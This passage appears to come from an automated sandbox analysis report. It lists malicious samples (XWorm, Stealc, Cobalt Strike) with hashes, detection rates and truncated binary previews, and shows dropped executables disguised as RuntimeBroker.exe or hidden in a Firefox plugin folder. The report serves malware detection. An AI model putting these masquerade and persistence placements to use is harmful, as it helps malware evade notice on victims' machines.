	vMRlWtVCEN.exe	Get hash	malicious	Stealc, Vidar	Browse	104.21.93.27 128.116.44.3 104.20.23.46
	batterygetbackwithgoodmovemententirelovegoodforrealitytogetmeack.hta	Get hash	malicious	Cobalt Strike, FormBook, HTMLPhisher	Browse	104.21.93.27 128.116.44.3 104.20.23.46
	seethebestpartentirelifewithmygirlfriendonentirelifethings.hta	Get hash	malicious	Cobalt Strike, HTMLPhisher, Lokibot, Strela Stealer	Browse	104.21.93.27 128.116.44.3 104.20.23.46
	http://eon.keit.re.kr/WEOMTRACK.html?CPKN=O&CPSQ=88327186&CPSC=0&CPID=16122900000005&CPMEM=MTAwMDkwODg%3D&CLID=006&CLKN=CL&CPCED=20171231&DRTMF=5&DRTMT=60&URL=https://form.jotform.com/243104959551055	Get hash	malicious	Unknown	Browse	104.21.93.27 128.116.44.3 104.20.23.46
	Copia pendiente de pago Proveedor 107924.exe	Get hash	malicious	AgentTesla	Browse	104.21.93.27 128.116.44.3 104.20.23.46
	PO#7372732993039398372372973928392832973PDF.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.93.27 128.116.44.3 104.20.23.46

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	IM3OLcx7li.exe	Get hash	malicious	XWorm	Browse
	cgqdM4IA7C.exe	Get hash	malicious	XWorm	Browse
	oIDX88LpSs.exe	Get hash	malicious	XWorm	Browse
	hKWBNgRd7p.exe	Get hash	malicious	XWorm	Browse
	SecuriteInfo.com.Variant.MSILHeracles.168781.2591.26227.exe	Get hash	malicious	Unknown	Browse
	8svMXMXNRn.exe	Get hash	malicious	NoCry, XWorm	Browse
	SecuriteInfo.com.Win64.MalwareX-gen.19388.23445.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\Program Files (x86)\Common Files\VrOvfXIxMKIwGaWOj.exe

Download File

Process:	C:\blocksavesperfMonitorDll\reviewDll.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	848384
Entropy (8bit):	6.0844866142911425
Encrypted:	false
SSDEEP:	24576:NPf6XTxrcZAbPENGXZkA48PSsLyc4Q1HE:dSXVrtcNNA48szsH
MD5:	D9DAC9E1D95E84E6AEC084CF2DDB3F3A
SHA1:	A231A41C7AD994879B15116DCEA41FDC09BB5879
SHA-256:	0FBEB71FB1DFE793EACE5ED167F035A8F4BCC6B56D0930B6B97481F2B222B1D5
SHA-512:	C4AA115DE6F61C7311E8654D40537CD1CE08F0FB7EFD0A225A42E06AD000ED420BA905E5CC26A19CB56AF951EE1441AA257C073C47911A72FFF733C0DB1C2F9A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 83%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.....................6........... ........@.. .......................`............@.....................................K.... .......................@....................................................... ............... ..H............text....... ...................... ..`.sdata.../.......0..................@....rsrc........ ......................@..@.reloc.......@......................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Common Files\dedb3a653dedd1

Download File

Process:	C:\blocksavesperfMonitorDll\reviewDll.exe
File Type:	ASCII text, with very long lines (744), with no line terminators
Category:	dropped
Size (bytes):	744
Entropy (8bit):	5.9005517010405795
Encrypted:	false
SSDEEP:	12:OiMOGvGXgrGeuI1Ec6gHks/myTOH5l0v8DBY/XOzWwB3S50uzPWNYMlh1dl2SRsJ:7MOGvAi9+cBJmyCHv0v8Dv6eYP8lhzRC
MD5:	7CEC549C1952A6B09FCCFE2A63CF9986
SHA1:	2DEC01D2C30889A9D09F8F12A03F443635F8829C
SHA-256:	FAFAE99F3849B5D00ABEE30C65C86D89CCC8B8584E0AB4B127EB6E8B4B55C13A
SHA-512:	E12EA8D3D03D6B19A62CC7A7F917C537C02292B1F2E5F9610855315AF6C105873D8BEC7D50FCC86B94803E0EE84B6D77AF71D8C5BA17741D1DD12219A1871F07
Malicious:	false
Preview:	8TGPWz1iFi7P3cmbOqhlSVVYmaurHKL0gj8mBnZQq0O37fdAdxNpmcbm7rm5FKb5WHtUd9alQR4bHbbG7uNT7fNEHWpUBeKgZTh0wJgeWlYVhAfgPf8U6H713pMHTFjwGYBy4lUxOt6VG2gG0JEffzjRVp6G6YKRBmOI8rloKKGMKluAIFRKBERQztcOoN1zjpUeoYIJhaVUtWHt5581H9P7U7TOOW97TQneRQWu7Hnks6hcmtTtP9sjZWJqE35KbXBcsmbojN39VoOYa0mfDQrTiEE5GqpEMcJV4FtARpJCFsNvHvPOQaHKpr4ohgh2hzx3f3dVHlNYGpNz0TxVabxwV8pNLEcvHReQ5UPOR4GoMtE9eEyNsMcFCBhgNQKCJbQzL73fDjDfVIjl4psGQPD4yZN4xtABuEfucPygLSJII6u3b5mihDv3YWAwt9sUjCvQmyJo1M57F4w2oUd1HbdqSmWGPCxLkziFLeRmw7rVIyydjHHZf0NIjE7AcCZyZtWQWqrKC0FJuIiex2gH4XqtlagGgRKth26ZbiH2a7WpvDXbgcMkgS3BDno6KknvpVm2MIDPvor7AA8iCFkDEkNO84Wx3KszTl9ZbfOXZ6z1l6ACpF3FAjqFIX3RwPVk62oZAiHh0MoIuVnC3TIxRmyt53QDm7kJkO5tRlCG8WPx5iUxu0XdGiTTD4dGRE52mehgZ4uSQCz5XAyXjdTvkGCC5mpXH5y4aWLaAyXz

C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe

Download File

Process:	C:\blocksavesperfMonitorDll\reviewDll.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	848384
Entropy (8bit):	6.0844866142911425
Encrypted:	false
SSDEEP:	24576:NPf6XTxrcZAbPENGXZkA48PSsLyc4Q1HE:dSXVrtcNNA48szsH
MD5:	D9DAC9E1D95E84E6AEC084CF2DDB3F3A
SHA1:	A231A41C7AD994879B15116DCEA41FDC09BB5879
SHA-256:	0FBEB71FB1DFE793EACE5ED167F035A8F4BCC6B56D0930B6B97481F2B222B1D5
SHA-512:	C4AA115DE6F61C7311E8654D40537CD1CE08F0FB7EFD0A225A42E06AD000ED420BA905E5CC26A19CB56AF951EE1441AA257C073C47911A72FFF733C0DB1C2F9A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 83%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.....................6........... ........@.. .......................`............@.....................................K.... .......................@....................................................... ............... ..H............text....... ...................... ..`.sdata.../.......0..................@....rsrc........ ......................@..@.reloc.......@......................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\dedb3a653dedd1

Download File

Process:	C:\blocksavesperfMonitorDll\reviewDll.exe
File Type:	ASCII text, with very long lines (394), with no line terminators
Category:	dropped
Size (bytes):	394
Entropy (8bit):	5.835863406654627
Encrypted:	false
SSDEEP:	6:X/cmWOhmaCw+zlHMm1yrnv8epq42UjBM+JTw54b/CvyxU0Uzj5jao7n2/+OP6oe5:JJCd9MC487UjLb6qxU0e5uRSoVVS
MD5:	81D1215E2C4F371062F4DAEAB437232E
SHA1:	A7615BD267FBA679AA40C6D7C58EDBA08DBB6785
SHA-256:	D91155153767E6C63997DD478E0FE5CA8736DB4EAA25F909581B015DDEE80763
SHA-512:	EF9F336A7A33461CDE247CBC084D378F4FC3128782D3C4B1F6D8488C3D344EC9C5F79F168124163C14471C2BE8DAD61568A02AF91BD1835966458E90004E1137
Malicious:	false
Preview:	Ng2V52ZpF5fVC4W0Gcd7uVSYUDeSEeHqwEvF1jtKRT8WX5LeIVd4Lbn2OeA1YGllxyj8IR9gsSpaW6AZ29KtANfUa30Wj1wLsXiiVMV0V6L2vMfSel9Y62kkTOhPan70ges9XcDpoTXDBnjNXi272XP0w8OHoGZs9VVQeg4BhTumegippU12v98JP2MZN6Ah3pEqSSt1o0ZinmVPZibUOh69WLAmUeylSMsyc2XXkAN5jZgng6AofqSWsETGRGgJByQa4gxgLDtOTBa7pXGXdKGm3VGYjRFedE3vJFs9Jedb6EDqnVa4AIq1sngiaY738PvPIpykoHO9qoqzSZuN0KdUXBCgiKiuhjcqTxi8h0Q34qKD6rPBntDxwa1GmRBdidcHMAgf0w

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_Bootstrapper.exe_f8ecbb689c8f1a18ba1322c93213c0dd24b0ed4d_47e6ae6e_b69d6691-43f3-470f-b429-88809312ec68\Report.wer

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.263716464450584
Encrypted:	false
SSDEEP:	192:xaCOuyDr0bU9+dQFaWxejol2/fsLzuiFpZ24lO8d:2uycbG+dQFaml23sLzuiFpY4lO8d
MD5:	88BC80CB7D63BB29610D1013A697559F
SHA1:	648252688EC78ECDDA111E004151EEFF411B23CC
SHA-256:	AFC6D3AA92A8D219845AEA454591EA6587D83A7DDB8A35785AB013E818D02036
SHA-512:	E3EAF30F41E1478AE1325DE2941F634AC9F7FD16C0219E859F6FBFCF383E49F631C976584532846DF05452E83E8BDF09E10E7DA27F5F42F287516CE4133743A8
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.C.L.R.2.0.r.3.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.5.4.8.3.9.3.8.8.5.7.3.8.4.5.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.5.4.8.3.9.3.9.5.2.9.2.5.9.9.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.b.6.9.d.6.6.9.1.-.4.3.f.3.-.4.7.0.f.-.b.4.2.9.-.8.8.8.0.9.3.1.2.e.c.6.8.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.b.c.4.b.9.7.d.4.-.3.b.c.d.-.4.2.a.3.-.b.d.f.e.-.0.5.a.9.6.2.b.4.8.f.0.f.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....N.s.A.p.p.N.a.m.e.=.B.o.o.t.s.t.r.a.p.p.e.r...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.S.o.l.a.r.a.B.o.o.t.s.t.r.a.p.p.e.r...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.9.b.8.-.0.0.0.1.-.0.0.1.4.-.1.f.c.0.-.9.2.5.2.5.1.3.1.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.2.f.e.1.7.3.6.3.1.c.a.d.c.4.a.7.6.9.5.d.3.9.9.5.7.a.1.2.d.e.9.c.0.0.0.0.0.0.0.0.!.0.0.0.0.2.1.f.2.3.2.c.2.f.d.8.1.3.2.f.8.6.7.7.e.5.3.2.5.8.5.6.2.a.d.9.8.b.4.5.5.e.6.7.9.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER77DE.tmp.dmp

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Mini DuMP crash report, 16 streams, Thu Nov 7 20:12:19 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	603418
Entropy (8bit):	3.289702263433519
Encrypted:	false
SSDEEP:	6144:xHLNTFMInIskRgkIkHSusUkJkAJEqY8ot3Q89NFr1tbA:9LVFDtkRgkIkyakJkMEqYfQ89Hr1
MD5:	F0FAFC523EA7C94ECD9E3AC613B5A489
SHA1:	BB17E8699BE029FAD3F7F60202E6267A8C09C88C
SHA-256:	40A7F657AF31859AEF35D1BB4D031FE88433074278197FEB9A330F39ADAA7AEF
SHA-512:	58F80736B7372BCD44F7FAA55EA20EF2709FD4CDF3A33BC81AF23C00E12BBFE7FFE7D9D27B7829D15D3F5B6AA3602281C0331C076D6530D1A9ED126D974F4BA2
Malicious:	false
Preview:	MDMP..a..... .......#.-g............4...........<...T.......<....)...........)......dT..............l.......8...........T............U..j............E...........G..............................................................................eJ......@H......Lw......................T.............-g.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER79A4.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	6794
Entropy (8bit):	3.7200966934351913
Encrypted:	false
SSDEEP:	192:R6l7wVeJC5FZ/Th1YZX8Ipra89bfoGtfpNem:R6lXJKFZ/Th1Y5dwcfL
MD5:	47606F3A0283EF14D17AD95893DFDD8D
SHA1:	D46F3BF62E6912BC9C740DB5CEA1F24C7073AE6F
SHA-256:	D4EF2911D96E8C54D563BC2107B0C8E229FEFE4C56487B8F9090A206DAADA262
SHA-512:	1A4E0809086D852E819E7A8E77DFB863316A4984F9F852C3C2BB1FF3E99266EEDB827EEEE89875AC06CD90F5781644B896C2465B17DE0D160135268CA580875E
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.2.4.8.8.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER79D4.tmp.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4809
Entropy (8bit):	4.453375823707674
Encrypted:	false
SSDEEP:	48:cvIwWl8zsvJg771I9NqWpW8VYSYYm8M4JnT/Fruyq8vETSU1QaAd:uIjfRI7+L7VrJkWI1QaAd
MD5:	8FE3DCB01D425923AD5E4A5F2DC437AA
SHA1:	BC84B74DE15509FC31A1C7E0D023F60502569D5A
SHA-256:	72320F07D675B6E78D7804F2B854E2E839E899469DDC4767BE8E94A2842CDBE9
SHA-512:	6810BA46E46055F694BF4FB99239935A8C1BCE576811E5769C4BB0E8ACF4A0AE1369525CB00E02F35EA3E6F189532BE8CC12AB5BDB532A6F86CB4996C5EC9A7C
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="578115" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Users\Public\AccountPictures\9e8d7a4ca61bd9

Download File

Process:	C:\blocksavesperfMonitorDll\reviewDll.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	105
Entropy (8bit):	5.483213317988201
Encrypted:	false
SSDEEP:	3:T6Ordq9/rwryNVK15FXRXe0r4M+J3X2gFwn:T6OuTNU15tRX9WJ2Swn
MD5:	CF301740EB77218961BCFF64141B5736
SHA1:	612148048C09C7005F5A747B3C4EDC8A36DEC5B9
SHA-256:	A81EA074697F7CA83453C4FDB88B77C2B8201A7676E1B3D9C36B742DC1C08B05
SHA-512:	D9C04C48AE5645CA21097790D008EF1EA7999F0DC844A9D5DE2520726A364CDCE51711A01C193D240CEA9AAB9D89A819F4FD275A198C4C4147F6EBF23A109AAE
Malicious:	false
Preview:	GhyuJSfbekxOXKUN4eAzYWuFdqf38UhpmRAYAJREp8fNkkr421x35NrtxtRdxldKCHmGJ6MvN6Ja0gf28lBGgotZjRlR2xQEeVLc8lu5o

C:\Users\Public\AccountPictures\RuntimeBroker.exe

Download File

Process:	C:\blocksavesperfMonitorDll\reviewDll.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	848384
Entropy (8bit):	6.0844866142911425
Encrypted:	false
SSDEEP:	24576:NPf6XTxrcZAbPENGXZkA48PSsLyc4Q1HE:dSXVrtcNNA48szsH
MD5:	D9DAC9E1D95E84E6AEC084CF2DDB3F3A
SHA1:	A231A41C7AD994879B15116DCEA41FDC09BB5879
SHA-256:	0FBEB71FB1DFE793EACE5ED167F035A8F4BCC6B56D0930B6B97481F2B222B1D5
SHA-512:	C4AA115DE6F61C7311E8654D40537CD1CE08F0FB7EFD0A225A42E06AD000ED420BA905E5CC26A19CB56AF951EE1441AA257C073C47911A72FFF733C0DB1C2F9A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 83%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.....................6........... ........@.. .......................`............@.....................................K.... .......................@....................................................... ............... ..H............text....... ...................... ..`.sdata.../.......0..................@....rsrc........ ......................@..@.reloc.......@......................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\AYUGPPBj0x.exe.log

Download File

Process:	C:\Users\user\Desktop\AYUGPPBj0x.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	654
Entropy (8bit):	5.380476433908377
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPXcp1OKbbDLI4MWuPOKfSSI6Khap+92n4MNQp3/VXM5gXu9tv:ML9E4KQwKDE4KGKZI6Kh6+84xp3/VclT
MD5:	30E4BDFC34907D0E4D11152CAEBE27FA
SHA1:	825402D6B151041BA01C5117387228EC9B7168BF
SHA-256:	A7B8F7FFB4822570DB1423D61ED74D7F4B538CE73521CC8745BC6B131C18BE63
SHA-512:	89FBCBCDB0BE5AD7A95685CF9AA4330D5B0250440E67DC40C6642260E024F52A402E9381F534A9824D2541B98B02094178A15BF2320148432EDB0D09B5F972BA
Malicious:	true
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.V9921e851#\04de61553901f06e2f763b6f03a6f65a\Microsoft.VisualBasic.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\VrOvfXIxMKIwGaWOj.exe.log

Download File

Process:	C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	1281
Entropy (8bit):	5.370111951859942
Encrypted:	false
SSDEEP:	24:ML9E4KQ71qE4GIs0E4KCKDE4KGKZI6KhPKIE4TKBGKoZAE4KKUNb:MxHKQ71qHGIs0HKCYHKGSI6oPtHTHhA2
MD5:	12C61586CD59AA6F2A21DF30501F71BD
SHA1:	E6B279DC134544867C868E3FF3C267A06CE340C7
SHA-256:	EC20A856DBBCF320F7F24C823D6E9D2FD10E9335F5DE2F56AB9A7DF1ED358543
SHA-512:	B0731F59C74C9D25A4C82E166B3DC300BBCF89F6969918EC748B867C641ED0D8E0DE81AAC68209EF140219861B4939F1B07D0885ACA112D494D23AAF9A9C03FE
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567ff6b0de7f9dcd8111001e94ab7cf6\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\2a7fffeef3976b2a6f273db66b1f0107\System.Windows.Forms.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\S

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\reviewDll.exe.log

Download File

Process:	C:\blocksavesperfMonitorDll\reviewDll.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	1740
Entropy (8bit):	5.36827240602657
Encrypted:	false
SSDEEP:	48:MxHKQ71qHGIs0HKCYHKGSI6oPtHTHhAHKKkhHNpaHKlT4x:iq+wmj0qCYqGSI6oPtzHeqKkhtpaqZ4x
MD5:	B28E0CCD25623D173B2EB29F3A99B9DD
SHA1:	070E4C4A7F903505259E41AFDF7873C31F90D591
SHA-256:	3A108902F93EF9E952D9E748207778718A2CBAEB0AB39C41BD37E9BB0B85BF3A
SHA-512:	17F5FBF18EE0058F928A4D7C53AA4B1191BA3110EDF8E853F145D720381FCEA650A3C997E3D56597150149771E14C529F1BDFDC4A2BBD3719336259C4DD8B342
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567ff6b0de7f9dcd8111001e94ab7cf6\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\2a7fffeef3976b2a6f273db66b1f0107\System.Windows.Forms.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\S

C:\Users\user\AppData\Local\Temp\Bootstrapper.exe

Download File

Process:	C:\Users\user\Desktop\AYUGPPBj0x.exe
File Type:	PE32+ executable (console) x86-64 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	819200
Entropy (8bit):	5.598226996524291
Encrypted:	false
SSDEEP:	12288:t0zVvgDNMoWjTmFzAzBocaKjyWtiR1pptHxQ0z:O5vgHWjTwAlocaKjyyItHDz
MD5:	2A4DCF20B82896BE94EB538260C5FB93
SHA1:	21F232C2FD8132F8677E53258562AD98B455E679
SHA-256:	EBBCB489171ABFCFCE56554DBAEACD22A15838391CBC7C756DB02995129DEF5A
SHA-512:	4F1164B2312FB94B7030D6EB6AA9F3502912FFA33505F156443570FC964BFD3BB21DED3CF84092054E07346D2DCE83A0907BA33F4BA39AD3FE7A78E836EFE288
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 61%
Joe Sandbox View:	Filename: IM3OLcx7li.exe, Detection: malicious, Browse Filename: cgqdM4IA7C.exe, Detection: malicious, Browse Filename: oIDX88LpSs.exe, Detection: malicious, Browse Filename: hKWBNgRd7p.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Variant.MSILHeracles.168781.2591.26227.exe, Detection: malicious, Browse Filename: 8svMXMXNRn.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win64.MalwareX-gen.19388.23445.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...Ll.g.........."......v............... ....@...... ....................................`.................................................D...T.......u............................................................................................ ..H............text....t... ...v.................. ..`.rsrc...u............x..............@..@.reloc...............~..............@..BH........................................................................0..R.......(....:....r...p(....r...po....:-...r-..pr&..p.. (.....@....r...pr<..p(....(....&.......0..........rL..prT..p.(....s....%.o....%.o....%.o....%.o.....s.......o.....o....&.o....o......(....9.....o....o.............9.....o.............8.8p.......0..8.......r\..p.......%...%.r^..p.%...%.r...p.%...%.r...p.(...........(....~....%:....&~.........s....%.....(...+...0..l.........(....r...p(....(....r\..p.

C:\Users\user\AppData\Local\Temp\kendalcp.exe

Download File

Process:	C:\Users\user\Desktop\AYUGPPBj0x.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1165474
Entropy (8bit):	6.376858525584707
Encrypted:	false
SSDEEP:	24576:u2G/nvxW3WieCLPf6XTxrcZAbPENGXZkA48PSsLyc4Q1HEN:ubA3jzSXVrtcNNA48szsHs
MD5:	0D015CC111D53A019E680B0BED11FCAD
SHA1:	3B3FB6EEBA0C2BA286A4DB5E850697399CCB5E36
SHA-256:	2B7365D9634016B0483009225B959692C290A6B17FAD133E42434DC89FDF4150
SHA-512:	C3A7EA551D0151033DDE83A3DDA1042E8FE26702C84DA2B630ECFFB739AECB654730BB5F7EC8914189F72CA7D0ECF1352F0CA7EFFA938BC1D6F0AE56C3358EAB
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 79%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......b`..&...&...&.....h.+.....j.......k.>.....^.$...._..0...._..5...._....../y..,.../y..#...&...*...._......._..'...._f.'...._..'...Rich&...................PE..L....._............................@........0....@..........................@............@......................... ...4...T...<....0..........................h"......T............................U..@............0..`...... ....................text............................... ..`.rdata.......0......................@..@.data...(7..........................@....didat....... ......................@....rsrc........0......................@..@.reloc..h".......$..................@..B........................................................................................................................................................................................................................................

C:\Users\user\Desktop\DISCORD

Download File

Process:	C:\Users\user\AppData\Local\Temp\Bootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	103
Entropy (8bit):	4.081427527984575
Encrypted:	false
SSDEEP:	3:XSWHlkHFWKBgdvHvIhN9GIxFf9oQg652UTF/HLMl1m:XSWHlW0aivQLkWFfx/52uyPm
MD5:	B016DAFCA051F817C6BA098C096CB450
SHA1:	4CC74827C4B2ED534613C7764E6121CEB041B459
SHA-256:	B03C8C2D2429E9DBC7920113DEDF6FC09095AB39421EE0CC8819AD412E5D67B9
